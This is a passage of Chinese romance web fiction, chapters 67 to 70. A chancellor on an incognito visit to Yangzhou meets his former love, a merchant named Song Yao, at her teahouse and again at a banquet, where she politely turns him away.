沈竹想了想,笑道:“也是,我现在挺快乐的,说不定陆大人都没有我开心。” 宋瑶笑了笑,底下的说书先生已说到尾声,她提醒道:“到你了,还不下去吗?” 沈竹摆摆手,“叫我的小徒弟去。”她毫不容易从外地回来,他想跟她多呆一会儿。 一年多前,他捡了个小徒弟,在琴上颇有天赋,他不想弹的时候,就让小徒弟去。 没过多时,楼下便响起潺潺琴音,如松风涧响,游丝袅空,空山寂寂。 有些耳熟,却比记忆中的琴技更加高超,更加孤寂,寒冷。 宋瑶透过窗台,看向底下的琴师,却只看到一白色衣角,便笑道:“你这徒弟教得不错。” 收回视线的时候,宋瑶又看到州刺史郑大人走进茶楼,她立刻收回视线,合上窗户,省得郑大人看到了她,又拉着她吐苦水。 沈竹这时已起身,理了理衣服,对宋瑶道:“弹琴的可不是我的小徒弟,多半是哪位客人,我去看看是何路大神,琴艺如此高超,我好去讨教讨教。” 天下民风日渐开放,茶楼里经常有忽然起了雅兴的客人,想要上台弹奏一曲,这样的事情常有发生,倒也见怪不怪。 只是沈竹一向以琴技为荣,有点傲气在身上,能让他称赞的不多,此时楼下的算一个。 宋瑶道:“若是见到了,可邀她上来一叙。” 沈竹应道:“好嘞。” 第68章 沈竹匆匆下去以后,那人恰好结束一曲。 底下围了一圈人,全都在起哄让再来一曲,打赏的银子砸落在屏风前面。 “再来一曲!” “再来一曲!” 郑大人匆匆赶来,看到的便是这一幕,吓得魂儿都快丢了,若是底下的人知道这弹琴的是什么身份,就算有一百个脑袋也不够啊。 那抚琴的人不为所动,起身后,从屏风后面走出来,只见那人着一袭白衣,袍袖宽大,袖口与襟边似用银线细细织就了云纹,素纱遮面,只留了一双如寒潭般的眼眸在外面,眼眸沉静,如古潭深不见底,举手投足间流露出的贵气便将他其他人区隔开来,只一眼便让人知道他绝非出自平民百姓家,那周身的气质是金钱和权势养出来的,令人望而却步。 周围的茶客声音渐渐小了,她们知道此人非富即贵,稍稍起哄一下还好,断不能做出太过分的事情。 郑大人忙笑着迎上去,“陆大人”三个字刚到嘴边,就被他淡淡一瞥吓了回去,拐了弯,恭敬道:“陆公子,您怎么来这里了?倒是叫我好找。” 谁懂啊。 丞相大人微服私访,体察民情,上面竟一个字没有泄露出来。 直到丞相大人来到扬州,她方才得知消息,这万万不能把一人之下万人之上的丞相大人怠慢了啊,万一丞相大人在扬州出了什么事,她就算有一百个脑袋也赔不起啊。 郑大人毫无准备,内心诚惶诚恐。 偏偏陆大人一来扬州就来了这茶楼,这到底是有心还是无意呢。 郑大人心中叫苦不迭,心里正九曲八弯,恰巧看到沈竹笑意盈盈地下来,内心顿感不妙,她这几年跟宋瑶时常一起谈心,自然知道沈竹是宋瑶身边的人,且跟了宋瑶几年。 陆大人到底知不知道这家茶楼是宋瑶开的啊?到底知不知道沈竹是宋瑶身边的人啊? 怎么办怎么办怎么办? “这位公子,请留步。”沈竹叫住了陆润之。 郑大人:!!! 陆润之停下脚步,淡淡的视线落在沈竹身上。 那淡淡的视线极具压迫性,轻轻一瞥,带着一丝上位者的审视,但那双眼睛又十分漂亮,沈竹觉得宋瑶的眼睛像桃花一样,已经十分好看,但是眼前的人确实要比宋瑶还要好看一些。 只是沈竹觉得,他眼底带着一丝若有似无的不喜,等他想要仔细看时,却已然消失不见,仿佛是他的错觉,应该是错觉吧,他们素昧平生,怎么会对他不喜。 沈竹觉得自己多想了,面上挂了笑,“这位公子,方才听到你抚琴,似乎在琴艺方面造诣极高,想向您讨教一下,希望公子不要见怪。” 眼前的少年约莫十七八岁的年纪,眼睛亮晶晶的,穿着青衣,朝气蓬勃,像是夏天刚抽条的柳芽。 郑大人听他这么说,吓得魂儿都快飞了,这可不能讨教,这可不能讨教,她正欲替陆大人回绝,却被打断。 “你叫什么名字?”陆润之淡淡地问。 “瞧我这记性,忘了说自己的名字了。”沈竹拍了一下自己的脑袋,语气懊悔,有些俏皮,“我叫沈竹,是这家茶楼的常驻琴师,不知公子如何称呼?” 陆润之收回视线,却没有回答他的问题,反而问道:“你在这家茶楼里很多年了吗?” 沈竹也没在意他有些傲慢的态度,依旧笑着回答:“对,已经五年了,这里就跟我的家一样。” 家。 陆润之敛了眸,收回视线,“今日不便。” 郑大人松了一口气。 “那好吧。”沈竹眼中闪过一抹失落,却依旧笑着问:“我公子何时有空,家住哪里,我改日登门拜访,今日确实唐突了些。” 郑大人立刻见缝插针,道:“沈公子,我们公子多有不便,改日再说吧。” 沈竹看向郑大人,随即了然,能让郑大人如此恭敬,这位公子多半是哪个王公贵族家的公子吧,“郑大人,好久不见啊,别来无恙,刚好宋姐姐回来了,要不要一起上去喝个茶?” 他语气熟稔。 “宋姐姐?”陆润之的语气沉了沉。 郑大人心里一跳。 这沈竹真是哪壶不开提哪壶啊。 一瞬间,压迫感扑面而来,沈竹愣了下,下意识地回答:“对,是这家茶楼的老板。” 陆润之眸色微深,瞥了一眼郑大人,“郑大人,既有人邀约,那便去吧。” 郑大人额头上的汗都快滴下来了,“是、是……” 她不想去啊,她一点都想见证这修罗的场面。 谁来救救她! 饶是天真的沈竹,也察觉到气氛的古怪,忽然他有些不想让宋瑶见到这位公子,心里隐隐有种不安感,说不清楚为什么,但是事已至此,沈竹只好带他们上去。 陆润之此次南下微服私访,是一个人来的,只带了几名侍卫。 皇帝本不欲让他前来,择了另外一位大臣,是他主动请缨,想要来江南。 皇帝拦不住,便给了他三个月的时间,叹道:“润之,朕希望此次下江南你能了却心事。” 是他做的还不够好,连皇帝都能看出来他的意图。 茶楼里人声嘈杂,说书先生的声音徐徐道来,整个茶楼的装潢极具有江南特色,窗外是缓缓流过的河流,绿柳如茵,是个喝茶闲聊的好去处,本地人十分喜欢。 听说这些年,她经常来这里喝茶听琴。 春日,草长莺飞;夏日,炎炎蝉鸣;秋日,萧萧落叶;冬日,大雪纷飞,陪在她身边的都是这个沈竹的少年吗? 那他的琴有他弹的好吗? 想来是没有的,沈竹都来向他讨教了。 这位叫沈竹的少年,着淡青色衣衫,性子活泼,生得十分讨喜,一口一个宋姐姐,甜甜的,想必十分讨她欢喜。 他今日穿了白色衣衫,像五年前一样,却觉得穿惯了深色的朝服,如今这白色,已经十分不衬托他了。 但是她应是喜欢他穿白色的。 陆润之拾级而上,沈竹在前面带路。 “快到了,宋姐姐就在前面雅间里等着。”沈竹回头道。 陆润之脚步一顿,心里忽然生出隐隐的后怕,在朝堂与人对峙时,他未曾害怕,面对天子之怒时,他未曾害怕,被贬为侍郎时,他未曾害怕,此时却心生惧意。 郑大人跟在他身后,见他停下来,问道:“公子,怎么了?” 陆润之垂下眼眸,悄悄握了握手指,“无事。” 说罢,继续前行。 那边,沈竹已经推开了雅间的门,“宋姐姐,我把人请来了。” 陆润之下意识握紧了拳头,嘴唇轻抿,抬眼望去,只见雅间内素雅精致,茶香袅袅,临窗的桌案上摆放着两只茶杯,一壶茶,软垫上还有褶皱的痕迹,一只团扇随意仍在一边,似乎可以想象茶客在这里喝茶听书的场景,现在却是人走茶凉,不见那人的身影。 沈竹探头进去,“宋姐姐呢?” 这时小二来了,笑道:“沈公子,不巧,宋老板被人叫走了,说有急事,让我跟您招呼一声呢。” 沈竹:“那有说什么时候回来吗?” 小二:“这个宋老板倒没说。” 陆润之扫了一眼房内的陈设,眼神黯了下来,不知是心里放松多些,还是失望多些。 沈竹回头对陆润之和郑大人二人歉意道:“实在不好意思,宋姐姐有急事被叫走了,要不先请进,我给你们泡茶。” 沈竹落落大方,倒是像是这里的男主人,颇有一种女主人离开,他自行招待客人的感觉。 郑大人悄悄瞥了一眼陆润之的神色,笑道:“沈公子,既然宋老板不在,那我们择日再聚。” 陆润之未说话。 沈竹看了陆润之一眼,这次没有再留他们,“那我送送二位。” 沈竹将二人送出茶楼,郑大人的马车一直在茶楼外等候,她将人恭恭敬敬地请到了马车上,自己则去了后面那辆马车。 瞧郑大人这幅毕恭毕敬的态度,沈竹猜测,这位公子身份不简单,多半是京城哪家贵公子,那气质无人能及,只有王公贵族家里才能养出来,只不过那性子也太冷了些,脾气看起来又很硬,实在不是个好相与的,不像这江南男子,如水一般温柔。 马车缓缓驶过,风扬起车窗的帘子,沈竹看到了马车内那人的容颜,怔了一怔,惊为天人,让他一个男子都看痴了。 沈竹的脑海里冒出一个念头,幸亏没让宋姐姐见到他。 直到傍晚时分,晚霞落幕,宋瑶才回到茶楼。 沈竹听说她回来,过去找她。 下午那会儿,掌柜的忽然找她,茶楼与茶叶供应商起了口角,茶商故意抬价,不得不叫宋瑶出面,费了一番口舌,才将事情解决。 宋瑶回茶楼交代些事情,便看到沈竹像只蝴蝶似的飘过来。 沈竹:“宋姐姐,你回来了。” 宋瑶笑,“怎么了,见到你心心念念的琴师了吗?” 沈竹上前,要抱着她的胳膊,却被她不着痕迹地避开了,他愣了愣,随即当做没事人一样,微微抱怨,“见到是见到了,只不过那人性格着实高傲,我问他名字,他竟然不理人,高高在上的,郑大人还在一边陪着,多半是京城来的。” 宋瑶对他的话倒没放在心上,只道:“既已知他是经常来的,身份显贵,若相处不来,日后不见便是,你的琴已经足够好。” 那人的琴艺显然在他之上,宋姐姐这么说肯定是在安慰自己了,沈竹不由得有些高兴,大着胆子问道:“那宋姐姐是喜欢我的琴,还是那人的琴。” 小孩子总要分个高下。 宋瑶如实道:“各有千秋。” 沈竹不乐意了,“我问的是你喜欢谁的琴。” 宋瑶无奈道:“你知道我不懂,在我听来都一样。” 沈竹撇嘴,“你骗人。” 若刚开始她说不懂,沈竹还能信一两分,可这两年她对他的疑惑都能指点一二,哪里还能说不懂。 见他不悦,宋瑶笑了笑,评价道:“你的琴轻快活泼,明媚张扬,带着一丝少年气,无忧无虑,而那人的琴,如寒涧清泉,山中雪松,孤高寂寥。若实在要论喜欢,我年纪大了,自然是喜欢明媚轻快的少年气,鲜衣怒马少年时,不负韶华且行知。” 沈竹喜笑颜开,“那我以后多弹琴给宋姐姐听!” 宋瑶笑了笑,不置可否。 在茶楼用了晚餐,才乘马车返回府邸,月凉如水,将马车的影子拉的很长。 茶楼距离宋府不远,一刻钟便到了,马车停在家门口,宋瑶从马车上下来,总觉得一道隐隐的视线落在她身上,等她循着感觉望过去,街道上空空如也,想必是这几日太过劳累,出现了幻觉。 宋瑶摇了摇头,走进府邸。 这些年,江南的生意在她的手底下已经步入正轨,运作模式稳定成熟,手底下的人也培养出来了,她在江南待了五年之久,母亲跟父亲的信中不是催她回京,就是催她成婚。 近些时日,她也在考虑回京的事情,母亲和父亲年岁已高,是到了退休的年纪,恐回京以后要全盘接手家里的生意,有些责任总要承担。 敲定主意以后,宋瑶便琢磨着开始交接工作,看看什么时候可以返京。 几日后,当今丞相大人微服私访,莅临扬州城。 起因是陆大人微服私访,体察民情时,偶遇一乡下来求医,身无分文的孤儿寡父,心中不忍,便带人去饭馆吃饭,与民同席,席间还抱着孩童亲自来哄,好让孩子的父亲吃饭,后又带这父子俩去医馆看病,抓了药,将人安置在客栈休息,最后还安排马车,将人送回了老家。 据说分别时,那寡夫千恩万谢,感恩戴德,称丞相大人是天下人的父母官。 这事儿便在扬州城传开来。 关于丞相大人的事迹,天下无人不知,无人不晓,自从丞相大人上位后,减赋止役,设灾害补贴,与民休息,在去年西北旱灾时,开仓振饥,深受天下百姓爱戴。 且民间关于这位丞相的传闻已有许多,如今人来了扬州城,百姓都想见一见。 据说这位丞相大人就住在州刺史郑大人府上,于是天天有人围在郑大人家门口,等着偶遇丞相大人。 是以郑大人每次出门,都会遇到在门口翘首以盼的百姓,他们在看到是郑大人出来后,纷纷露出失望的目光。 郑大人:…… 谁才是你们的父母官啊喂! 后来,郑大人仔细一琢磨,这事儿不对劲。 丞相大人既是微服私访,又何必闹得人尽皆知,既是要做好事,有一百种方法不留名,丞相大人在民间的声望已经很高,不必用如此手段收买人心,且她从未透露过丞相大人的行踪,百姓怎么知道丞相大人住在她这里呢。 思来想去,郑大人得出了一个结论,丞相大人这么做,显然是为了告诉某人他来扬州了啊! 郑大人顿悟了。 她这个没眼色的,应该早点帮帮丞相大人的。 于是郑大人去请示了丞相大人,称百姓爱戴,十分想一睹丞相大人风采,是以大摆筵席,请丞相大人出席,与民同乐。 丞相大人思索片刻,说了一个字,“可。” 郑大人为自己的机智点了个赞。 筵席名额有限,郑大人设置了抽签的形式,唯有幸运百姓才能与丞相大人同乐。 扬州城内每天就那么点八卦,茶楼更是八卦的聚集之地,这事儿宋瑶想不知道都难。 得知陆润之来扬州以后,宋瑶并没有很诧异,这些年,从说书先生口中听说他的事迹也不少,只是有些感慨,当时那个少年,如今已成了令百姓敬仰的权臣。 百姓们纷纷排着队去抽签,期待一睹丞相大人风采。 茶楼里的人也纷纷议论此事。 “我倒是很想去见见这位传说中的丞相大人,可惜我没抽中啊!” “我也没抽中啊,到底是谁在抽啊!” “不是说名额挺多的吗,怎么我身边一个都没抽中的。” …… 宋瑶和桑卿彦在茶楼里喝茶,将这一切听进了耳中。 桑卿彦看着眼前的女子,这几年她愈发 的沉稳,待人处事处处温和,却始终保持着一丝距离,始终不越矩,问道:“你不去吗?毕竟是你的故人。” 宋瑶挑了挑眉,“既是故人,也不必见了,你也知道,你我这种身份,去见朝廷重臣,总有些敏感。” 桑卿彦嗤笑一声,“借口。” 宋瑶一笑而过,倒不是借口,是实话。 然而她不见山,山却找上来。 郑大人的下属抱着一盒纸签找上来,说明了来意后,将盒子往前递了递,“宋老板,请抽签。” 宋瑶:“我就不参与了。” 那下属道:“宋老板,是强制性的。” 宋瑶:“……” 她刚刚听到的,可不是这样。 宋瑶便将手伸进抽签箱,随便拿了一个纸条,展开一看,纸条上赫然用朱砂写了“参与”。 不是说很难抽到的吗? 桑卿彦的视线落在宋瑶手里的纸条上,笑了笑,“我也想抽一张。” 下属犹豫了。 桑卿彦了然,挑眉,意味深长道:“怎么,不是谁都可以参与抽签的吗?” 宋瑶的视线也落在下属身上。 下属只得硬着头皮,把纸箱递给了桑卿彦。 桑卿彦随手掏了一张,展开,也是参与二字。 下属立即道:“恭喜宋老板和桑老板,获得参与筵席的机会!请于后日下午准时参加筵席!不许不来哦!” 说罢,她就脚底抹油般的溜了,生怕他们两个反悔似的。 宋瑶:…… 桑卿彦:…… 这人怎么回事?感觉有诈。 无奈,二人只得参加。 沈竹得知此事后,便央着宋瑶带他去,他自己兴冲冲跑去衙门门口抽签,没有抽中,宋瑶怎么一抽就抽中了。 “宋姐姐,你带我去吧,我也想见见丞相大人,求求你了,听说可以带家属。” 宋瑶无奈,便将纸条递给他,“给你,你去吧。” 沈竹:“不行,那边都有登记的,我自己去不行。” 宋瑶被他缠得没法儿,只得带他去。 筵席设在后天下午申时。 那日到来,宋瑶早已将此事抛之脑后,处理事情耽误了会儿,直到沈竹前来提醒,她方才想起此事,于是带着沈竹,匆匆前往,恰巧路上碰到同样姗姗来迟的桑卿彦,便一同前往。 竹林旁,习水潺潺,曲水流觞,环境清幽,空气清新,沁人心脾。 前来赴宴的人络绎不绝,倒也有不少人,但其中多是扬州城内大大小小的官员,百姓也有,只是不多,只占了三成,怪不得说抽不到名额。 往来络绎不绝的官员和百姓,纷纷上前拜会丞相大人。 那人位于首座,着了深色便服,曾经不善交际的人,如今面对众多曲笑逢迎的官员,也能应对自如,面前带了三分浅笑,笑意却不及眼底,唯有在面对百姓爱戴的目光时,多了几分真意。 经过几年的官场沉浮,他周身的气质与以往大不相同,相同的容颜,却不同的气势,仅仅一个眼神,便流露出上位者的从容与洞悉人心的了然。 他比印象中更瘦削,却依旧好看的逼人,若说以前是吴入凡尘的懵懂小仙君,如今便是下凡体察民间疾苦的上神大人。 她心里清楚,总会遇到,只是到了这一天,还是有些感慨。 她曾经精心照料的玫瑰,如今已经是一把出鞘的利刃。 到底是物是人非。 宋瑶携沈竹一起上前,拜会丞相大人,拱手作揖,作了恭敬状。 “草民宋瑶,见过丞相大人,姗姗来迟,还请丞相大人恕罪。” 话落,“嘭”地一声,酒杯砸碎的声音赫然响起。 第69章 陆润之几乎从宋瑶出现的那一刻,就注意到了。 虽已经远远见过她的身影,却从未像此刻来的无比真实,她似乎比五年前长高了些,眉眼间更加沉稳,依旧习惯性的带着温和笑容,像是经过岁月打磨的温玉,整个人散发着柔和的光芒。 周围的嘈杂声逐渐远离耳边,他似乎只能看到她的身影。 只是为什么她身边带着那个叫沈竹的少年? 郑大人特地允许赴宴的人携带家眷,只是沈竹不是她雇佣的琴师吗,为何她会带着他一起前来。 那个叫沈竹的少年是她养的外室吗? 这几年,陆润之不止一次想过这个可能,她这么好,模样生得好看,脾性温和,待人又是极好,是世间少见的好女君,很轻易就能获得男儿的喜欢,若她想娶侍君,定是有很多男子排队等着,诸如经常那家馄饨铺的小公子,还有她院子里早就起了心思的男子。 若是她真的纳侍君,他早已想好了接受这个事情,这几年也好有人陪着她,只是当亲眼看见时,还是没拿稳手中的杯子。 她也会像曾经待他那样,待那个叫沈竹的少年吗? 听说沈竹几年前性子颇为冷淡,近两年逐渐活泼了起来,是她教养的吗? 还有。 她唤他什么。 丞相大人…… 陆润之这几年拜过的人不多,但是每天都有拜他的人,只是他从来没有想象过,宋瑶有朝一日拜他的场景。 她为什么要拜他。 宋瑶带着沈竹一起,拜见了丞相大人,良久,都没听到首座那人的声音,久到周围的官员百姓都开始疑惑。 陆大人这是怎么了? 沈竹保持着作揖的姿势,垂着眼睛,不敢看那首座的人,只透过胳膊下的空隙隐隐看到那人深紫色的衣角,心中也觉得奇怪,丞相大人怎么了?方才还与众人言笑晏晏呢。 “啪”地一声,陆大人手中的茶杯碎在地上,才惊醒了众人。 旁边的侍人立刻跪下收拾。 郑大人瞧着周围人逐渐露出了疑惑的神色,低咳了一声,凑到陆润之面前,低声提醒,“丞相大人,大家都等着呢。” 陆润之眸光微动,敛了眸,轻轻抬了抬手,声音艰涩,“宋……女君不必多礼,请入座。” “多谢丞相大人。”宋瑶直起身,从容不迫,随即环顾四周,下意识想向后面走去,却被郑大人叫住。 “宋老板,留步。” 宋瑶回头。 郑大人比了比陆润之右下方第一个位置,那里还空着,她自然道:“宋老板便坐在那里吧,今天丞相大人与民同乐,不用在乎那些虚礼。” 宋瑶觉得不妥,在这个封建王朝,她一个身为低微的商贾,如何能与郑大人平起平坐,但其他人貌似也是随便坐的。 “便随处坐下吧。”丞相大人都发话了。 宋瑶便带着沈竹坐在郑大人对面,陆润之的右手边。 这一茬很快揭了过去,后面还有排队拜会丞相大人的人。 沈竹一直觉得丞相大人的声音有些熟悉,只是有些低沉,落座后,便小心翼翼抬起眼,朝首座看去,惊了去。 首座的丞相大人赫然是前几日在茶楼抚琴的白衣男子,只是此时他着深紫色外衫,眼神沉静,虽在有人前来拜会时,眉眼温和了许多,只是那笑意不及眼底,温和中带着几分上位者自持身份的高傲,那高傲是刻在骨子里的。 是了,他是天底下一人之下,万人之上的男子,再也没有任何一个男子能做到他这般。 而且他还长得这么好看,沈竹从未见过像他这般好看的人,还弹得一手好琴。 沈竹的心里隐隐生出了一丝自卑感,与丞相大人相比,他就像是乡下的山鸡,沈竹原本兴致勃勃,如今却有些意兴阑珊,便闷闷地喝了一口酒。 那丞相大人似乎是 对宋姐姐有些意思,不然干嘛跑到茶楼里,听到宋姐姐邀请就去,如今还让宋姐姐坐在他下首的位置,定时居心叵测。 “怎么了,不是嚷着要见丞相大人,这会儿有些闷闷不乐。”宋瑶含笑的声音传来。 沈竹把玩着酒杯,声音闷闷地,“没什么。” 说着,他又拎起酒壶,倒了杯酒,喝下肚。 宋瑶不知他为何闷闷不乐,劝道:“少饮些,不然喝醉了怎么把你弄回去。” 闻言,沈竹提着酒壶的手一顿,幽怨地看了一眼宋瑶,伤心道:“宋姐姐,你这是嫌弃我吗?” 宋瑶夺过他的酒壶。 沈竹抱着酒杯,脸色微红,“宋姐姐,你变了。” 宋瑶觉得他有些醉了,不欲与他多争辩,只是不给他酒壶。 沈竹抢不过来,一气之下,抢了她的酒杯,摇摇晃晃地站起来,朝首座走去。 宋瑶还没来得及用自己的杯子,索性随他去了。 沈竹端着酒杯,脚步不稳,走到了陆润之面前,笑道:“原来那日抚琴的是丞相大人,草民沈竹敬丞相大人一杯,丞相大人光风霁月,爱民如子,今日见到丞相大人,三生有幸。” 他这一番场面话说得漂亮。 然而等他说完,陆润之端坐首位,却迟迟未端起酒杯,视线落在沈竹端的酒杯上,微沉。 丞相大人方才一直待人温和,不曾有任何官架子,眼下面对沈竹的敬酒,却迟迟未动。 直到沈竹端着酒杯的手微微颤抖,笑容逐渐僵硬,眼中闪过一抹委屈。 宋瑶看了陆润之一眼,正要起身。 陆润之这才端起酒杯站起,虚虚抬了一下沈竹的手,轻描淡写地带过,不似对待其他子民那般热络,平静道:“沈公子客气了,本相职责所在,当不得这般盛赞。” 沈竹端着酒杯,一饮而尽,辛辣的酒液灼烧着喉咙,心头莫名升起委屈和酸涩。 陆润之随之浅酌了一口,便放下酒杯。 沈竹抬眼,想看清这位高高在上的丞相大人此刻的表情,却只撞进一双深不见底的眸子里,那眼神沉静得可怕,像结了冰的湖面,却又在冰层之下翻涌着暗流。 没有沈竹预想中的温和,也没有明确的厌恶,只是审视,一种仿佛要将他从皮到骨都看穿的锐利,以及一丝被强行压抑下去的、近乎实质的寒意。 沈竹愣住,脚下不由自主地后退一步。 陆润之没有再看他,重新坐回位置上。 气氛有些尴尬。 沈竹觉得有些难堪。 “沈竹。” 身后传来一道温和的声音,沈竹回头,便对上一双笑意盈盈地眸子,似乎一瞬间将他从冰窖中拉出来。 “回来。”宋瑶坐在位置上,笑着朝他招招手。 沈竹垂下眼睛,转身回了宋瑶身边,紧紧攥住宋瑶的袖子,面对丞相大人莫名的敌意,他不知所措,只觉得委屈。 宋瑶拍了拍他的手臂,以示安抚,接着她朝那位丞相大人看了一眼,抬手招来身后的侍从,拿了新的酒杯,从容起身,朝首座走去,唇边甚至带着一丝惯有的浅笑。 陆润之握紧了酒杯。 宋瑶在陆润之案前站定,微微欠身,“丞相大人。” 陆润之几不可查地绷紧一瞬,脸色微白。 宋瑶叹了一声,笑道:“经年不见,丞相大人别来无恙。” 她并没有装作不认识他,而是像老友一般问好,只是那眼神动作,分明透着疏离。 陆润之眸光闪了闪,“宋女君……别来无恙。” 从方才开始,两人之间的气氛十分古怪,底下饮酒作乐的声音都小了许多。 宋瑶接着道:“沈竹年幼莽撞,方才若有冲撞之处,扫了大人的兴,草民代他向大人赔个不是,请丞相大人海涵。” 说罢,她便举杯示意,一饮而尽,朝陆润之作了一揖。 她用最温柔的语气,朝他弯下腰,在维护沈竹…… 陆润之未曾动作,垂下眼眸,盯着酒杯中微微晃动的酒水,桌案下,藏在袖中的手,微微颤抖,他抬了抬手,又放下,半响,才敛了神色,极缓慢道:“宋女君言重了,本相并无不快,何来扫兴之说。” 似乎,如此才能掩饰自己的失态。 在他人眼里,丞相大人虽这么说,但是却迟迟未举起酒杯,今天这场筵席,丞相大人最开始心情甚好,对所有人都和和气气的,眼下明眼人都看得出来,这宋瑶沈竹二人怕是哪里得罪了丞相大人。 “那便好,草民告退。”宋瑶笑了笑,未曾在意,又回到了座位上,安抚似的朝沈竹笑了笑,示意不必在意。 郑大人方才一直紧张地盯着宋瑶,生怕她说出什么惹丞相大人不快的话。 等宋瑶说完,郑大人心想,完蛋了。 现场的氛围着实有些尴尬,郑大人不得不出来打圆场,“无事,无事,大家接着吃吃喝喝,吃吃喝喝。” “丞相哥哥……” 席中孩童不知氛围古怪,拿着方才父亲给他编织的花环,挣脱父亲的怀抱,跌跌撞撞地朝首座跑去,孩子的父亲未曾料到,着急忙慌的想去拦住孩子。 梳着双髻的孩童抱着花环,已经跑到了陆润之身边,却被脚下的台阶绊了一下,直直地朝前栽去,他闭上眼睛,等待疼痛的到来,却落入另一个微冷的怀抱。 一睁眼,便看到了丞相大人,孩童开心地笑起来,在陆润之怀中,高高地举起花环,甜甜道:“丞相哥哥,小宝送给你的花环。” 陆润之此时眼中柔和许多,微微弯腰,那孩童弯起眼睛,笨拙地,小心翼翼地将花环戴到了他头上。 “丞相哥哥真好看!”孩童拍手,欢呼道。 陆润之抬手,拿走他头上沾的树叶,温和地笑道:“谢谢小宝,我很喜欢。” 如今言笑晏晏,言语温和,动作温柔的丞相大人,与方才冷着脸的青年,判若两人。 这幅画面落入其他人眼中。 这才是他们爱民如子的丞相大人啊,方才肯定是宋瑶和沈竹哪里得罪了丞相大人,所以丞相大人才如此失态。 宋瑶只看了一眼,便收回视线。 沈竹小声嘀咕,“宋姐姐,我们哪里得罪了丞相大人……” 宋瑶睨了他一眼,“慎言。” 席间又恢复了欢乐的气氛,方才的小插曲一揭而过。 丞相大人又恢复最初待人温和的模样,来者不拒。 郑大人瞧着丞相大人这一杯接着一杯酒,不免有些忧心,这丞相大人倒是给足了面子,往年回京述职,晚宴间,他都不曾饮酒,圣上都未曾勉强。 筵席在人声渐散、杯盘狼藉中结束,宾客们三三两两告辞离去。 沈竹最后还是喝醉了,等宾客都散去,他还未清醒,宋瑶等了他一会儿,不见他醒,便摇了摇他,“沈竹,醒醒,回去了。” 沈竹:“别吵,我要睡觉……” 宋瑶无奈,只得叫了仆人,一起把沈竹扶上马车,还好他喝醉后,也不吵不闹,倒是听话。 将沈竹送到马车上,宋瑶再向郑大人告辞,却叫住。 郑大人欲言又止。 宋瑶笑道:“郑大人有话不妨直说。” 郑大人与宋瑶相交多年,已是十分清楚她的脾性,宋瑶聪慧,心思剔透,心里跟明镜似的,这样的人岂会不知丞相大人的用意,连她一个知情人都看得出来,于是语重心长,劝道:“宋老板,您又何必对丞相大人如此?” 早在郑大人蓄意接近她时,宋瑶便知郑大人是何用意,只是没有揭穿罢了。 “在其位,谋其职。郑大人,你们有你们的路要走,我有我的责任要承担。”宋瑶看着郑大人的眼睛,一如既往地笑着,说出来的话却很无情,“既相识一场,便不必再相逢。宋某认为如此,不知郑大人觉得呢?” 郑大人一愣,被问的哑口无言。 宋瑶说罢,便转身离去。 郑大人望着宋瑶的背影,方才明白,从始至终,宋瑶都无比清醒。 路过溪畔,宋瑶顺着小路,朝路边马车走去,忽地停下脚步。 日暮西沉,方才筵席间,高高在上的丞相大人,拦住了她的路,眼神沉沉,却不似席间清明。 “宋瑶。” 第70章 日暮西沉,方才筵席间,高高在上的丞相大人,拦住了她的路,眼神沉沉,却不似席间清明。 “宋瑶。” 他叫了她的名字。 宋瑶停下脚步,刚抬起手准备行礼,却被他厉声呵斥。 “不准行礼!” 宋瑶一顿,放下手臂,抬眼看去,只见那听起来疾言厉色的青年 ,此刻微微蹙着眉头,眼角红红的,眼波流转间,似乎蒙了一层水光,不再如古潭般的莫测,而是带着一丝近乎委屈和乞求的情绪,在暮色中微微闪动,仿佛下一秒就要不堪重负地坠落。 分明位高权重,身份尊贵的是他,疾言厉色的也是他,此时他却像是被她欺负了一样。 宋瑶无奈道:“丞相大人……” 陆润之:“不许叫我丞相大人!” 宋瑶顿了一下,眼神无奈地看着他,觉得如果她再不改口,他就要哭出来了,一瞬间,她觉得方才席间位高权重的丞相大人这时又是几年前那个未经世事的少年。 “润之,好久不见。”她笑意盈盈道。 她从善如流地改口,看向他的眼神终于不再是充满陌生与疏离。 陆润之终于得以呼吸,像溺毙者抓住浮木,方才在席间,她一口一个“丞相大人”,近乎像刀子一样,狠狠刺穿他的胸膛。 宋瑶温和的目光落在他身上,“还未来得及恭喜你实现了自己梦想,你做的很好。” 她温和的目光和语气分外熟悉,像是回到了以前。 她并没有忘记他。 陆润之轻轻吐出一口气,这才敢光明正大地看她,目光落在她脸上,藏在袖中的手指悄悄握紧,“方才,在席间,为何装作不认识我?” 他见她的第一面,问的问题竟然是这个。 宋瑶笑了笑,直言不讳道:“自然是避嫌。” 陆润之身体一颤,“避嫌……” 宋瑶反问:“难道丞相大人希望众人的目光关注到你我之间的往事吗?” 陆润之抬眼,轻声问她:“难道已经是往事了吗?” 宋瑶直视他的眼睛,“是。” 陆润之忍住心中的酸涩,“那沈竹,是你的现在吗?” 放在在席间,她那么关怀他,维护他,对他笑得那么开心,陪在他身边这么多年。 沈竹还叫她宋姐姐。 宋瑶摇摇头:“这不关沈竹的事。” 陆润之将落入他眼中的场景再次描述出来,“不,你明明那么关心他,爱护他。” 宋瑶叹息一声,轻声反问他,“润之,即使是又如何呢?” 她的声音轻轻的,顺着晚风吹来,却无比残忍无情。 是啊,是又如何呢。 陆润之站在原地,垂着眼眸,久久没有说话。 宋瑶拱手,微微弯腰,“丞相大人多多保重。” 她似乎早就放下,一直放不下的是他。 说罢,她便越过他,往前走去,下一秒手腕被扣住。 宋瑶回头看去,手腕上传来的力道极大,带着一种不容挣脱的强硬,指节甚至微微陷入了她的肌肤。 陆润之的手指冰凉,却在微微颤抖,仿佛他此刻正用尽全身力气抓住的。 他抬起眼,一字一句地问道:“宋瑶,我们真的没有可能了吗?” 宋瑶还是没有回答他的问题,淡淡的视线落在他眸子里,“你觉得呢?” 陆润之慢慢地,松开了她的手腕,最后捏住了她的衣袖。 宋瑶拂开他的手,离去。 陆润之留在原地,看着她的背影,脑海中曾想过无数重逢的场景,却未曾想过会是这般。 他故意散播了微服私访扬州的消息,却未见她有任何波动。 他邀她前来聚会,她却带着自己的侍君。 他问她问题,她没有给他一丝一毫的希望。 令他望而却步。 树叶沙沙作响,晚风轻吟。 陆润之站在原地,像被抛弃的孩子,不知所措。 郑大人在树林后面,目睹了全称,她本不欲听见丞相大人的私事,奈何只有一条出去的路。 她看到那位位高权重,权倾朝野的丞相大人,在皇宫时面对天子和朝中众臣,尚能从容不迫,运筹帷幄,却在方才面对宋瑶一个商贾之女,不知如何描述自己的心情,甚至卑微地拉住宋瑶的衣袖。 郑大人看到丞相大人如此,不觉得他卑微,只觉得他可怜。 她也有孩子,与丞相大人差不多年岁,在妻主家受了委屈,还要回来诉苦,请她这个母亲做主。 